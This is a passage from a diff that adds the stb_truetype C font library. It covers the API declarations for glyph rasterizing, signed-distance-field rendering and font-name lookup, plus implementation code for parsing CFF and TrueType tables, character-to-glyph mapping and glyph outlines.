*ix1, int *iy1); + + +// @TODO: don't expose this structure +typedef struct +{ + int w,h,stride; + unsigned char *pixels; +} stbtt__bitmap; + +// rasterize a shape with quadratic beziers into a bitmap +STBTT_DEF void stbtt_Rasterize(stbtt__bitmap *result, // 1-channel bitmap to draw into + float flatness_in_pixels, // allowable error of curve in pixels + stbtt_vertex *vertices, // array of vertices defining shape + int num_verts, // number of vertices in above array + float scale_x, float scale_y, // scale applied to input vertices + float shift_x, float shift_y, // translation applied to input vertices + int x_off, int y_off, // another translation applied to input + int invert, // if non-zero, vertically flip shape + void *userdata); // context for to STBTT_MALLOC + +////////////////////////////////////////////////////////////////////////////// +// +// Signed Distance Function (or Field) rendering + +STBTT_DEF void stbtt_FreeSDF(unsigned char *bitmap, void *userdata); +// frees the SDF bitmap allocated below + +STBTT_DEF unsigned char * stbtt_GetGlyphSDF(const stbtt_fontinfo *info, float scale, int glyph, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff); +STBTT_DEF unsigned char * stbtt_GetCodepointSDF(const stbtt_fontinfo *info, float scale, int codepoint, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff); +// These functions compute a discretized SDF field for a single character, suitable for storing +// in a single-channel texture, sampling with bilinear filtering, and testing against +// larger than some threshold to produce scalable fonts. +// info -- the font +// scale -- controls the size of the resulting SDF bitmap, same as it would be creating a regular bitmap +// glyph/codepoint -- the character to generate the SDF for +// padding -- extra "pixels" around the character which are filled with the distance to the character (not 0), +// which allows effects like bit outlines +// onedge_value -- value 0-255 to test the SDF against to reconstruct the character (i.e. the isocontour of the character) +// pixel_dist_scale -- what value the SDF should increase by when moving one SDF "pixel" away from the edge (on the 0..255 scale) +// if positive, > onedge_value is inside; if negative, < onedge_value is inside +// width,height -- output height & width of the SDF bitmap (including padding) +// xoff,yoff -- output origin of the character +// return value -- a 2D array of bytes 0..255, width*height in size +// +// pixel_dist_scale & onedge_value are a scale & bias that allows you to make +// optimal use of the limited 0..255 for your application, trading off precision +// and special effects. SDF values outside the range 0..255 are clamped to 0..255. +// +// Example: +// scale = stbtt_ScaleForPixelHeight(22) +// padding = 5 +// onedge_value = 180 +// pixel_dist_scale = 180/5.0 = 36.0 +// +// This will create an SDF bitmap in which the character is about 22 pixels +// high but the whole bitmap is about 22+5+5=32 pixels high. To produce a filled +// shape, sample the SDF at each pixel and fill the pixel if the SDF value +// is greater than or equal to 180/255. (You'll actually want to antialias, +// which is beyond the scope of this example.) Additionally, you can compute +// offset outlines (e.g. to stroke the character border inside & outside, +// or only outside). For example, to fill outside the character up to 3 SDF +// pixels, you would compare against (180-36.0*3)/255 = 72/255. The above +// choice of variables maps a range from 5 pixels outside the shape to +// 2 pixels inside the shape to 0..255; this is intended primarily for apply +// outside effects only (the interior range is needed to allow proper +// antialiasing of the font at *smaller* sizes) +// +// The function computes the SDF analytically at each SDF pixel, not by e.g. +// building a higher-res bitmap and approximating it. In theory the quality +// should be as high as possible for an SDF of this size & representation, but +// unclear if this is true in practice (perhaps building a higher-res bitmap +// and computing from that can allow drop-out prevention). +// +// The algorithm has not been optimized at all, so expect it to be slow +// if computing lots of characters or very large sizes. + + + +////////////////////////////////////////////////////////////////////////////// +// +// Finding the right font... +// +// You should really just solve this offline, keep your own tables +// of what font is what, and don't try to get it out of the .ttf file. +// That's because getting it out of the .ttf file is really hard, because +// the names in the file can appear in many possible encodings, in many +// possible languages, and e.g. if you need a case-insensitive comparison, +// the details of that depend on the encoding & language in a complex way +// (actually underspecified in truetype, but also gigantic). +// +// But you can use the provided functions in two possible ways: +// stbtt_FindMatchingFont() will use *case-sensitive* comparisons on +// unicode-encoded names to try to find the font you want; +// you can run this before calling stbtt_InitFont() +// +// stbtt_GetFontNameString() lets you get any of the various strings +// from the file yourself and do your own comparisons on them. +// You have to have called stbtt_InitFont() first. + + +STBTT_DEF int stbtt_FindMatchingFont(const unsigned char *fontdata, const char *name, int flags); +// returns the offset (not index) of the font that matches, or -1 if none +// if you use STBTT_MACSTYLE_DONTCARE, use a font name like "Arial Bold". +// if you use any other flag, use a font name like "Arial"; this checks +// the 'macStyle' header field; i don't know if fonts set this consistently +#define STBTT_MACSTYLE_DONTCARE 0 +#define STBTT_MACSTYLE_BOLD 1 +#define STBTT_MACSTYLE_ITALIC 2 +#define STBTT_MACSTYLE_UNDERSCORE 4 +#define STBTT_MACSTYLE_NONE 8 // <= not same as 0, this makes us check the bitfield is 0 + +STBTT_DEF int stbtt_CompareUTF8toUTF16_bigendian(const char *s1, int len1, const char *s2, int len2); +// returns 1/0 whether the first string interpreted as utf8 is identical to +// the second string interpreted as big-endian utf16... useful for strings from next func + +STBTT_DEF const char *stbtt_GetFontNameString(const stbtt_fontinfo *font, int *length, int platformID, int encodingID, int languageID, int nameID); +// returns the string (which may be big-endian double byte, e.g. for unicode) +// and puts the length in bytes in *length. +// +// some of the values for the IDs are below; for more see the truetype spec: +// http://developer.apple.com/textfonts/TTRefMan/RM06/Chap6name.html +// http://www.microsoft.com/typography/otspec/name.htm + +enum { // platformID + STBTT_PLATFORM_ID_UNICODE =0, + STBTT_PLATFORM_ID_MAC =1, + STBTT_PLATFORM_ID_ISO =2, + STBTT_PLATFORM_ID_MICROSOFT =3 +}; + +enum { // encodingID for STBTT_PLATFORM_ID_UNICODE + STBTT_UNICODE_EID_UNICODE_1_0 =0, + STBTT_UNICODE_EID_UNICODE_1_1 =1, + STBTT_UNICODE_EID_ISO_10646 =2, + STBTT_UNICODE_EID_UNICODE_2_0_BMP=3, + STBTT_UNICODE_EID_UNICODE_2_0_FULL=4 +}; + +enum { // encodingID for STBTT_PLATFORM_ID_MICROSOFT + STBTT_MS_EID_SYMBOL =0, + STBTT_MS_EID_UNICODE_BMP =1, + STBTT_MS_EID_SHIFTJIS =2, + STBTT_MS_EID_UNICODE_FULL =10 +}; + +enum { // encodingID for STBTT_PLATFORM_ID_MAC; same as Script Manager codes + STBTT_MAC_EID_ROMAN =0, STBTT_MAC_EID_ARABIC =4, + STBTT_MAC_EID_JAPANESE =1, STBTT_MAC_EID_HEBREW =5, + STBTT_MAC_EID_CHINESE_TRAD =2, STBTT_MAC_EID_GREEK =6, + STBTT_MAC_EID_KOREAN =3, STBTT_MAC_EID_RUSSIAN =7 +}; + +enum { // languageID for STBTT_PLATFORM_ID_MICROSOFT; same as LCID... + // problematic because there are e.g. 16 english LCIDs and 16 arabic LCIDs + STBTT_MS_LANG_ENGLISH =0x0409, STBTT_MS_LANG_ITALIAN =0x0410, + STBTT_MS_LANG_CHINESE =0x0804, STBTT_MS_LANG_JAPANESE =0x0411, + STBTT_MS_LANG_DUTCH =0x0413, STBTT_MS_LANG_KOREAN =0x0412, + STBTT_MS_LANG_FRENCH =0x040c, STBTT_MS_LANG_RUSSIAN =0x0419, + STBTT_MS_LANG_GERMAN =0x0407, STBTT_MS_LANG_SPANISH =0x0409, + STBTT_MS_LANG_HEBREW =0x040d, STBTT_MS_LANG_SWEDISH =0x041D +}; + +enum { // languageID for STBTT_PLATFORM_ID_MAC + STBTT_MAC_LANG_ENGLISH =0 , STBTT_MAC_LANG_JAPANESE =11, + STBTT_MAC_LANG_ARABIC =12, STBTT_MAC_LANG_KOREAN =23, + STBTT_MAC_LANG_DUTCH =4 , STBTT_MAC_LANG_RUSSIAN =32, + STBTT_MAC_LANG_FRENCH =1 , STBTT_MAC_LANG_SPANISH =6 , + STBTT_MAC_LANG_GERMAN =2 , STBTT_MAC_LANG_SWEDISH =5 , + STBTT_MAC_LANG_HEBREW =10, STBTT_MAC_LANG_CHINESE_SIMPLIFIED =33, + STBTT_MAC_LANG_ITALIAN =3 , STBTT_MAC_LANG_CHINESE_TRAD =19 +}; + +#ifdef __cplusplus +} +#endif + +#endif // __STB_INCLUDE_STB_TRUETYPE_H__ + +/////////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////////// +//// +//// IMPLEMENTATION +//// +//// + +#ifdef STB_TRUETYPE_IMPLEMENTATION + +#ifndef STBTT_MAX_OVERSAMPLE +#define STBTT_MAX_OVERSAMPLE 8 +#endif + +#if STBTT_MAX_OVERSAMPLE > 255 +#error "STBTT_MAX_OVERSAMPLE cannot be > 255" +#endif + +typedef int stbtt__test_oversample_pow2[(STBTT_MAX_OVERSAMPLE & (STBTT_MAX_OVERSAMPLE-1)) == 0 ? 1 : -1]; + +#ifndef STBTT_RASTERIZER_VERSION +#define STBTT_RASTERIZER_VERSION 2 +#endif + +#ifdef _MSC_VER +#define STBTT__NOTUSED(v) (void)(v) +#else +#define STBTT__NOTUSED(v) (void)sizeof(v) +#endif + +////////////////////////////////////////////////////////////////////////// +// +// stbtt__buf helpers to parse data from file +// + +static stbtt_uint8 stbtt__buf_get8(stbtt__buf *b) +{ + if (b->cursor >= b->size) + return 0; + return b->data[b->cursor++]; +} + +static stbtt_uint8 stbtt__buf_peek8(stbtt__buf *b) +{ + if (b->cursor >= b->size) + return 0; + return b->data[b->cursor]; +} + +static void stbtt__buf_seek(stbtt__buf *b, int o) +{ + STBTT_assert(!(o > b->size || o < 0)); + b->cursor = (o > b->size || o < 0) ? b->size : o; +} + +static void stbtt__buf_skip(stbtt__buf *b, int o) +{ + stbtt__buf_seek(b, b->cursor + o); +} + +static stbtt_uint32 stbtt__buf_get(stbtt__buf *b, int n) +{ + stbtt_uint32 v = 0; + int i; + STBTT_assert(n >= 1 && n <= 4); + for (i = 0; i < n; i++) + v = (v << 8) | stbtt__buf_get8(b); + return v; +} + +static stbtt__buf stbtt__new_buf(const void *p, size_t size) +{ + stbtt__buf r; + STBTT_assert(size < 0x40000000); + r.data = (stbtt_uint8*) p; + r.size = (int) size; + r.cursor = 0; + return r; +} + +#define stbtt__buf_get16(b) stbtt__buf_get((b), 2) +#define stbtt__buf_get32(b) stbtt__buf_get((b), 4) + +static stbtt__buf stbtt__buf_range(const stbtt__buf *b, int o, int s) +{ + stbtt__buf r = stbtt__new_buf(NULL, 0); + if (o < 0 || s < 0 || o > b->size || s > b->size - o) return r; + r.data = b->data + o; + r.size = s; + return r; +} + +static stbtt__buf stbtt__cff_get_index(stbtt__buf *b) +{ + int count, start, offsize; + start = b->cursor; + count = stbtt__buf_get16(b); + if (count) { + offsize = stbtt__buf_get8(b); + STBTT_assert(offsize >= 1 && offsize <= 4); + stbtt__buf_skip(b, offsize * count); + stbtt__buf_skip(b, stbtt__buf_get(b, offsize) - 1); + } + return stbtt__buf_range(b, start, b->cursor - start); +} + +static stbtt_uint32 stbtt__cff_int(stbtt__buf *b) +{ + int b0 = stbtt__buf_get8(b); + if (b0 >= 32 && b0 <= 246) return b0 - 139; + else if (b0 >= 247 && b0 <= 250) return (b0 - 247)*256 + stbtt__buf_get8(b) + 108; + else if (b0 >= 251 && b0 <= 254) return -(b0 - 251)*256 - stbtt__buf_get8(b) - 108; + else if (b0 == 28) return stbtt__buf_get16(b); + else if (b0 == 29) return stbtt__buf_get32(b); + STBTT_assert(0); + return 0; +} + +static void stbtt__cff_skip_operand(stbtt__buf *b) { + int v, b0 = stbtt__buf_peek8(b); + STBTT_assert(b0 >= 28); + if (b0 == 30) { + stbtt__buf_skip(b, 1); + while (b->cursor < b->size) { + v = stbtt__buf_get8(b); + if ((v & 0xF) == 0xF || (v >> 4) == 0xF) + break; + } + } else { + stbtt__cff_int(b); + } +} + +static stbtt__buf stbtt__dict_get(stbtt__buf *b, int key) +{ + stbtt__buf_seek(b, 0); + while (b->cursor < b->size) { + int start = b->cursor, end, op; + while (stbtt__buf_peek8(b) >= 28) + stbtt__cff_skip_operand(b); + end = b->cursor; + op = stbtt__buf_get8(b); + if (op == 12) op = stbtt__buf_get8(b) | 0x100; + if (op == key) return stbtt__buf_range(b, start, end-start); + } + return stbtt__buf_range(b, 0, 0); +} + +static void stbtt__dict_get_ints(stbtt__buf *b, int key, int outcount, stbtt_uint32 *out) +{ + int i; + stbtt__buf operands = stbtt__dict_get(b, key); + for (i = 0; i < outcount && operands.cursor < operands.size; i++) + out[i] = stbtt__cff_int(&operands); +} + +static int stbtt__cff_index_count(stbtt__buf *b) +{ + stbtt__buf_seek(b, 0); + return stbtt__buf_get16(b); +} + +static stbtt__buf stbtt__cff_index_get(stbtt__buf b, int i) +{ + int count, offsize, start, end; + stbtt__buf_seek(&b, 0); + count = stbtt__buf_get16(&b); + offsize = stbtt__buf_get8(&b); + STBTT_assert(i >= 0 && i < count); + STBTT_assert(offsize >= 1 && offsize <= 4); + stbtt__buf_skip(&b, i*offsize); + start = stbtt__buf_get(&b, offsize); + end = stbtt__buf_get(&b, offsize); + return stbtt__buf_range(&b, 2+(count+1)*offsize+start, end - start); +} + +////////////////////////////////////////////////////////////////////////// +// +// accessors to parse data from file +// + +// on platforms that don't allow misaligned reads, if we want to allow +// truetype fonts that aren't padded to alignment, define ALLOW_UNALIGNED_TRUETYPE + +#define ttBYTE(p) (* (stbtt_uint8 *) (p)) +#define ttCHAR(p) (* (stbtt_int8 *) (p)) +#define ttFixed(p) ttLONG(p) + +static stbtt_uint16 ttUSHORT(stbtt_uint8 *p) { return p[0]*256 + p[1]; } +static stbtt_int16 ttSHORT(stbtt_uint8 *p) { return p[0]*256 + p[1]; } +static stbtt_uint32 ttULONG(stbtt_uint8 *p) { return (p[0]<<24) + (p[1]<<16) + (p[2]<<8) + p[3]; } +static stbtt_int32 ttLONG(stbtt_uint8 *p) { return (p[0]<<24) + (p[1]<<16) + (p[2]<<8) + p[3]; } + +#define stbtt_tag4(p,c0,c1,c2,c3) ((p)[0] == (c0) && (p)[1] == (c1) && (p)[2] == (c2) && (p)[3] == (c3)) +#define stbtt_tag(p,str) stbtt_tag4(p,str[0],str[1],str[2],str[3]) + +static int stbtt__isfont(stbtt_uint8 *font) +{ + // check the version number + if (stbtt_tag4(font, '1',0,0,0)) return 1; // TrueType 1 + if (stbtt_tag(font, "typ1")) return 1; // TrueType with type 1 font -- we don't support this! + if (stbtt_tag(font, "OTTO")) return 1; // OpenType with CFF + if (stbtt_tag4(font, 0,1,0,0)) return 1; // OpenType 1.0 + if (stbtt_tag(font, "true")) return 1; // Apple specification for TrueType fonts + return 0; +} + +// @OPTIMIZE: binary search +static stbtt_uint32 stbtt__find_table(stbtt_uint8 *data, stbtt_uint32 fontstart, const char *tag) +{ + stbtt_int32 num_tables = ttUSHORT(data+fontstart+4); + stbtt_uint32 tabledir = fontstart + 12; + stbtt_int32 i; + for (i=0; i < num_tables; ++i) { + stbtt_uint32 loc = tabledir + 16*i; + if (stbtt_tag(data+loc+0, tag)) + return ttULONG(data+loc+8); + } + return 0; +} + +static int stbtt_GetFontOffsetForIndex_internal(unsigned char *font_collection, int index) +{ + // if it's just a font, there's only one valid index + if (stbtt__isfont(font_collection)) + return index == 0 ? 0 : -1; + + // check if it's a TTC + if (stbtt_tag(font_collection, "ttcf")) { + // version 1? + if (ttULONG(font_collection+4) == 0x00010000 || ttULONG(font_collection+4) == 0x00020000) { + stbtt_int32 n = ttLONG(font_collection+8); + if (index >= n) + return -1; + return ttULONG(font_collection+12+index*4); + } + } + return -1; +} + +static int stbtt_GetNumberOfFonts_internal(unsigned char *font_collection) +{ + // if it's just a font, there's only one valid font + if (stbtt__isfont(font_collection)) + return 1; + + // check if it's a TTC + if (stbtt_tag(font_collection, "ttcf")) { + // version 1? + if (ttULONG(font_collection+4) == 0x00010000 || ttULONG(font_collection+4) == 0x00020000) { + return ttLONG(font_collection+8); + } + } + return 0; +} + +static stbtt__buf stbtt__get_subrs(stbtt__buf cff, stbtt__buf fontdict) +{ + stbtt_uint32 subrsoff = 0, private_loc[2] = { 0, 0 }; + stbtt__buf pdict; + stbtt__dict_get_ints(&fontdict, 18, 2, private_loc); + if (!private_loc[1] || !private_loc[0]) return stbtt__new_buf(NULL, 0); + pdict = stbtt__buf_range(&cff, private_loc[1], private_loc[0]); + stbtt__dict_get_ints(&pdict, 19, 1, &subrsoff); + if (!subrsoff) return stbtt__new_buf(NULL, 0); + stbtt__buf_seek(&cff, private_loc[1]+subrsoff); + return stbtt__cff_get_index(&cff); +} + +static int stbtt_InitFont_internal(stbtt_fontinfo *info, unsigned char *data, int fontstart) +{ + stbtt_uint32 cmap, t; + stbtt_int32 i,numTables; + + info->data = data; + info->fontstart = fontstart; + info->cff = stbtt__new_buf(NULL, 0); + + cmap = stbtt__find_table(data, fontstart, "cmap"); // required + info->loca = stbtt__find_table(data, fontstart, "loca"); // required + info->head = stbtt__find_table(data, fontstart, "head"); // required + info->glyf = stbtt__find_table(data, fontstart, "glyf"); // required + info->hhea = stbtt__find_table(data, fontstart, "hhea"); // required + info->hmtx = stbtt__find_table(data, fontstart, "hmtx"); // required + info->kern = stbtt__find_table(data, fontstart, "kern"); // not required + info->gpos = stbtt__find_table(data, fontstart, "GPOS"); // not required + + if (!cmap || !info->head || !info->hhea || !info->hmtx) + return 0; + if (info->glyf) { + // required for truetype + if (!info->loca) return 0; + } else { + // initialization for CFF / Type2 fonts (OTF) + stbtt__buf b, topdict, topdictidx; + stbtt_uint32 cstype = 2, charstrings = 0, fdarrayoff = 0, fdselectoff = 0; + stbtt_uint32 cff; + + cff = stbtt__find_table(data, fontstart, "CFF "); + if (!cff) return 0; + + info->fontdicts = stbtt__new_buf(NULL, 0); + info->fdselect = stbtt__new_buf(NULL, 0); + + // @TODO this should use size from table (not 512MB) + info->cff = stbtt__new_buf(data+cff, 512*1024*1024); + b = info->cff; + + // read the header + stbtt__buf_skip(&b, 2); + stbtt__buf_seek(&b, stbtt__buf_get8(&b)); // hdrsize + + // @TODO the name INDEX could list multiple fonts, + // but we just use the first one. + stbtt__cff_get_index(&b); // name INDEX + topdictidx = stbtt__cff_get_index(&b); + topdict = stbtt__cff_index_get(topdictidx, 0); + stbtt__cff_get_index(&b); // string INDEX + info->gsubrs = stbtt__cff_get_index(&b); + + stbtt__dict_get_ints(&topdict, 17, 1, &charstrings); + stbtt__dict_get_ints(&topdict, 0x100 | 6, 1, &cstype); + stbtt__dict_get_ints(&topdict, 0x100 | 36, 1, &fdarrayoff); + stbtt__dict_get_ints(&topdict, 0x100 | 37, 1, &fdselectoff); + info->subrs = stbtt__get_subrs(b, topdict); + + // we only support Type 2 charstrings + if (cstype != 2) return 0; + if (charstrings == 0) return 0; + + if (fdarrayoff) { + // looks like a CID font + if (!fdselectoff) return 0; + stbtt__buf_seek(&b, fdarrayoff); + info->fontdicts = stbtt__cff_get_index(&b); + info->fdselect = stbtt__buf_range(&b, fdselectoff, b.size-fdselectoff); + } + + stbtt__buf_seek(&b, charstrings); + info->charstrings = stbtt__cff_get_index(&b); + } + + t = stbtt__find_table(data, fontstart, "maxp"); + if (t) + info->numGlyphs = ttUSHORT(data+t+4); + else + info->numGlyphs = 0xffff; + + // find a cmap encoding table we understand *now* to avoid searching + // later. (todo: could make this installable) + // the same regardless of glyph. + numTables = ttUSHORT(data + cmap + 2); + info->index_map = 0; + for (i=0; i < numTables; ++i) { + stbtt_uint32 encoding_record = cmap + 4 + 8 * i; + // find an encoding we understand: + switch(ttUSHORT(data+encoding_record)) { + case STBTT_PLATFORM_ID_MICROSOFT: + switch (ttUSHORT(data+encoding_record+2)) { + case STBTT_MS_EID_UNICODE_BMP: + case STBTT_MS_EID_UNICODE_FULL: + // MS/Unicode + info->index_map = cmap + ttULONG(data+encoding_record+4); + break; + } + break; + case STBTT_PLATFORM_ID_UNICODE: + // Mac/iOS has these + // all the encodingIDs are unicode, so we don't bother to check it + info->index_map = cmap + ttULONG(data+encoding_record+4); + break; + } + } + if (info->index_map == 0) + return 0; + + info->indexToLocFormat = ttUSHORT(data+info->head + 50); + return 1; +} + +STBTT_DEF int stbtt_FindGlyphIndex(const stbtt_fontinfo *info, int unicode_codepoint) +{ + stbtt_uint8 *data = info->data; + stbtt_uint32 index_map = info->index_map; + + stbtt_uint16 format = ttUSHORT(data + index_map + 0); + if (format == 0) { // apple byte encoding + stbtt_int32 bytes = ttUSHORT(data + index_map + 2); + if (unicode_codepoint < bytes-6) + return ttBYTE(data + index_map + 6 + unicode_codepoint); + return 0; + } else if (format == 6) { + stbtt_uint32 first = ttUSHORT(data + index_map + 6); + stbtt_uint32 count = ttUSHORT(data + index_map + 8); + if ((stbtt_uint32) unicode_codepoint >= first && (stbtt_uint32) unicode_codepoint < first+count) + return ttUSHORT(data + index_map + 10 + (unicode_codepoint - first)*2); + return 0; + } else if (format == 2) { + STBTT_assert(0); // @TODO: high-byte mapping for japanese/chinese/korean + return 0; + } else if (format == 4) { // standard mapping for windows fonts: binary search collection of ranges + stbtt_uint16 segcount = ttUSHORT(data+index_map+6) >> 1; + stbtt_uint16 searchRange = ttUSHORT(data+index_map+8) >> 1; + stbtt_uint16 entrySelector = ttUSHORT(data+index_map+10); + stbtt_uint16 rangeShift = ttUSHORT(data+index_map+12) >> 1; + + // do a binary search of the segments + stbtt_uint32 endCount = index_map + 14; + stbtt_uint32 search = endCount; + + if (unicode_codepoint > 0xffff) + return 0; + + // they lie from endCount .. endCount + segCount + // but searchRange is the nearest power of two, so... + if (unicode_codepoint >= ttUSHORT(data + search + rangeShift*2)) + search += rangeShift*2; + + // now decrement to bias correctly to find smallest + search -= 2; + while (entrySelector) { + stbtt_uint16 end; + searchRange >>= 1; + end = ttUSHORT(data + search + searchRange*2); + if (unicode_codepoint > end) + search += searchRange*2; + --entrySelector; + } + search += 2; + + { + stbtt_uint16 offset, start; + stbtt_uint16 item = (stbtt_uint16) ((search - endCount) >> 1); + + STBTT_assert(unicode_codepoint <= ttUSHORT(data + endCount + 2*item)); + start = ttUSHORT(data + index_map + 14 + segcount*2 + 2 + 2*item); + if (unicode_codepoint < start) + return 0; + + offset = ttUSHORT(data + index_map + 14 + segcount*6 + 2 + 2*item); + if (offset == 0) + return (stbtt_uint16) (unicode_codepoint + ttSHORT(data + index_map + 14 + segcount*4 + 2 + 2*item)); + + return ttUSHORT(data + offset + (unicode_codepoint-start)*2 + index_map + 14 + segcount*6 + 2 + 2*item); + } + } else if (format == 12 || format == 13) { + stbtt_uint32 ngroups = ttULONG(data+index_map+12); + stbtt_int32 low,high; + low = 0; high = (stbtt_int32)ngroups; + // Binary search the right group. + while (low < high) { + stbtt_int32 mid = low + ((high-low) >> 1); // rounds down, so low <= mid < high + stbtt_uint32 start_char = ttULONG(data+index_map+16+mid*12); + stbtt_uint32 end_char = ttULONG(data+index_map+16+mid*12+4); + if ((stbtt_uint32) unicode_codepoint < start_char) + high = mid; + else if ((stbtt_uint32) unicode_codepoint > end_char) + low = mid+1; + else { + stbtt_uint32 start_glyph = ttULONG(data+index_map+16+mid*12+8); + if (format == 12) + return start_glyph + unicode_codepoint-start_char; + else // format == 13 + return start_glyph; + } + } + return 0; // not found + } + // @TODO + STBTT_assert(0); + return 0; +} + +STBTT_DEF int stbtt_GetCodepointShape(const stbtt_fontinfo *info, int unicode_codepoint, stbtt_vertex **vertices) +{ + return stbtt_GetGlyphShape(info, stbtt_FindGlyphIndex(info, unicode_codepoint), vertices); +} + +static void stbtt_setvertex(stbtt_vertex *v, stbtt_uint8 type, stbtt_int32 x, stbtt_int32 y, stbtt_int32 cx, stbtt_int32 cy) +{ + v->type = type; + v->x = (stbtt_int16) x; + v->y = (stbtt_int16) y; + v->cx = (stbtt_int16) cx; + v->cy = (stbtt_int16) cy; +} + +static int stbtt__GetGlyfOffset(const stbtt_fontinfo *info, int glyph_index) +{ + int g1,g2; + + STBTT_assert(!info->cff.size); + + if (glyph_index >= info->numGlyphs) return -1; // glyph index out of range + if (info->indexToLocFormat >= 2) return -1; // unknown index->glyph map format + + if (info->indexToLocFormat == 0) { + g1 = info->glyf + ttUSHORT(info->data + info->loca + glyph_index * 2) * 2; + g2 = info->glyf + ttUSHORT(info->data + info->loca + glyph_index * 2 + 2) * 2; + } else { + g1 = info->glyf + ttULONG (info->data + info->loca + glyph_index * 4); + g2 = info->glyf + ttULONG (info->data + info->loca + glyph_index * 4 + 4); + } + + return g1==g2 ? -1 : g1; // if length is 0, return -1 +} + +static int stbtt__GetGlyphInfoT2(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1); + +STBTT_DEF int stbtt_GetGlyphBox(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1) +{ + if (info->cff.size) { + stbtt__GetGlyphInfoT2(info, glyph_index, x0, y0, x1, y1); + } else { + int g = stbtt__GetGlyfOffset(info, glyph_index); + if (g < 0) return 0; + + if (x0) *x0 = ttSHORT(info->data + g + 2); + if (y0) *y0 = ttSHORT(info->data + g + 4); + if (x1) *x1 = ttSHORT(info->data + g + 6); + if (y1) *y1 = ttSHORT(info->data + g + 8); + } + return 1; +} + +STBTT_DEF int stbtt_GetCodepointBox(const stbtt_fontinfo *info, int codepoint, int *x0, int *y0, int *x1, int *y1) +{ + return stbtt_GetGlyphBox(info, stbtt_FindGlyphIndex(info,codepoint), x0,y0,x1,y1); +} + +STBTT_DEF int stbtt_IsGlyphEmpty(const stbtt_fontinfo *info, int glyph_index) +{ + stbtt_int16 numberOfContours; + int g; + if (info->cff.size) + return stbtt__GetGlyphInfoT2(info, glyph_index, NULL, NULL, NULL, NULL) == 0; + g = stbtt__GetGlyfOffset(info, glyph_index); + if (g < 0) return 1; + numberOfContours = ttSHORT(info->data + g); + return numberOfContours == 0; +} + +static int stbtt__close_shape(stbtt_vertex *vertices, int num_vertices, int was_off, int start_off, + stbtt_int32 sx, stbtt_int32 sy, stbtt_int32 scx, stbtt_int32 scy, stbtt_int32 cx, stbtt_int32 cy) +{ + if (start_off) { + if (was_off) + stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, (cx+scx)>>1, (cy+scy)>>1, cx,cy); + stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, sx,sy,scx,scy); + } else { + if (was_off) + stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve,sx,sy,cx,cy); + else + stbtt_setvertex(&vertices[num_vertices++], STBTT_vline,sx,sy,0,0); + } + return num_vertices; +} + +static int stbtt__GetGlyphShapeTT(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **pvertices) +{ + stbtt_int16 numberOfContours; + stbtt_uint8 *endPtsOfContours; + stbtt_uint8 *data = info->data; + stbtt_vertex *vertices=0; + int num_vertices=0; + int g = stbtt__GetGlyfOffset(info, glyph_index); + + *pvertices = NULL; + + if (g < 0) return 0; + + numberOfContours = ttSHORT(data + g); + + if (numberOfContours > 0) { + stbtt_uint8 flags=0,flagcount; + stbtt_int32 ins, i,j=0,m,n, next_move, was_off=0, off, start_off=0; + stbtt_int32 x,y,cx,cy,sx,sy, scx,scy; + stbtt_uint8 *points; + endPtsOfContours = (data + g + 10); + ins = ttUSHORT(data + g + 10 + numberOfContours * 2); + points = data + g + 10 + numberOfContours * 2 + 2 + ins; + + n = 1+ttUSHORT(endPtsOfContours + numberOfContours*2-2); + + m = n + 2*numberOfContours; // a loose bound on how many vertices we might need + vertices = (stbtt_vertex *) STBTT_malloc(m * sizeof(vertices[0]), info->userdata); + if (vertices == 0) + return 0; + + next_move = 0; + flagcount=0; + + // in first pass, we load uninterpreted data into the allocated array + // above, shifted to the end of the array so we won't overwrite it when + // we create our final data starting from the front + + off = m - n; // starting offset for uninterpreted data, regardless of how m ends up being calculated + + // first load flags + + for (i=0; i < n; ++i) { + if (flagcount == 0) { + flags = *points++; + if (flags & 8) + flagcount = *points++; + } else + --flagcount; + vertices[off+i].type = flags; + } + + // now load x coordinates + x=0; + for (i=0; i < n; ++i) { + flags = vertices[off+i].type; + if (flags & 2) { + stbtt_int16 dx = *points++; + x += (flags & 16) ? dx : -dx; // ??? + } else { + if (!(flags & 16)) { + x = x + (stbtt_int16) (points[0]*256 + points[1]); + points += 2; + } + } + vertices[off+i].x = (stbtt_int16) x; + } + + // now load y coordinates + y=0; + for (i=0; i < n; ++i) { + flags = vertices[off+i].type; + if (flags & 4) { + stbtt_int16 dy = *points++; + y += (flags & 32) ? dy : -dy; // ??? + } else { + if (!(flags & 32)) { + y = y + (stbtt_int16) (points[0]*256 + points[1]); + points += 2; + } + } + vertices[off+i].y = (stbtt_int16) y; + } + + // now convert them to our format + num_vertices=0; + sx = sy = cx = cy = scx = scy = 0; + for (i=0; i < n; ++i) { + flags = vertices[off+i].type; + x = (stbtt_int16) vertices[off+i].x; + y = (stbtt_int16) vertices[off+i].y; + + if (next_move == i) { + if (i != 0) + num_vertices = stbtt__close_shape(vertices, num_vertices, was_off, start_off, sx,sy,scx,scy,cx,cy); + + // now start the new one + start_off = !(flags & 1); + if (start_off) { + // if we start off with an off-curve point, then when we need to find a point on the curve + // where we can start, and we need to save some state for when we wraparound. + scx = x; + scy = y; + if (!(vertices[off+i+1].type & 1)) { + // next point is also a curve point, so interpolate an on-point curve + sx = (x + (stbtt_int32) vertices[off+i+1].x) >> 1; + sy = (y + (stbtt_int32) vertices[off+i+1].y) >> 1; + } else { + // otherwise just use the next point as our start point + sx = (stbtt_int32) vertices[off+i+1].x; + sy = (stbtt_int32) vertices[off+i+1].y; + ++i; // we're using point i+1 as the starting point, so skip it + } + } else { + sx = x; + sy = y; + } + stbtt_setvertex(&vertices[num_vertices++], STBTT_vmove,sx,sy,0,0); + was_off = 0; + next_move = 1 + ttUSHORT(endPtsOfContours+j*2); + ++j; + } else { + if (!(flags & 1)) { // if it's a curve + if (was_off) // two off-curve control points in a row means interpolate an on-curve midpoint + stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, (cx+x)>>1, (cy+y)>>1, cx, cy); + cx = x; + cy = y; + was_off = 1; + } else { + if (was_off) + stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, x,y, cx, cy); + else + 